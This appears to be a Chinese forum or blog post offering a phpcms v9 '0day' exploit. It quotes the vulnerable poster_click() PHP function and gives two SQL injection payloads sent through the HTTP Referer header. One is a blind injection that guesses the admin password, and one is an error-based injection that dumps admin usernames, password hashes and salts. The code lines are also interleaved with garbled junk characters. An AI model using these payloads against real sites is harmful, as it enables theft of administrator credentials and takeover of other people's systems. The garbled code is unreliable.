phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php
+ E# ^3 P, A" c+ W
6 A) [% A/ ~- R, J' M$ B9 k+ Dpublic function poster_click() {
( \, L" i9 h. Z6 Z4 H: y0 K/ H$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
: w3 ]. v% C" X7 [$ip_area = pc_base::load_sys_class('ip_area');
) E- i9 {7 L! V& H* M$ip = ip();
$area = $ip_area->get($ip);
' p7 S+ q/ O# z: K+ B* X$username = param::get_cookie('username') ? param::get_cookie('username') : '';
& W+ _/ @9 u) R) iif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$ ~8 A2 J# R) x" h" X. L) r6 B+ V0 k$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
, U5 C' C9 m. b0 ?4 b+ Z) H# x  ^* V5 Z$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
! K% n0 c# I- ~" V: a  H. Nif (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
) f9 U. u, E8 v4 D2 E! T. @( }}
header('Location: '.$url);
}
6 L, ]! I: ]7 N( K, |


利用方式：
- b, ]% s' T* ^9 K$ I2 H
1、可以采用盲注入的手法：
, p( r' R  U- Z  i1 ]# g& E
. F$ y. O/ S. |/ Zreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
' _( M  R% Q1 O! w, E
8 z) I3 ]. ?! \! \5 f* B通过返回页面，正常与否一个个猜解密码字段。

( v9 d( [5 m- @6 t1 Q; k2、代码是花开写的，随手附上了：
  \1 [& j. r6 C* ]; k
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
4 C8 q( ^5 j9 z6 B! d$ j
此方法是爆错注入手法，原理自查。
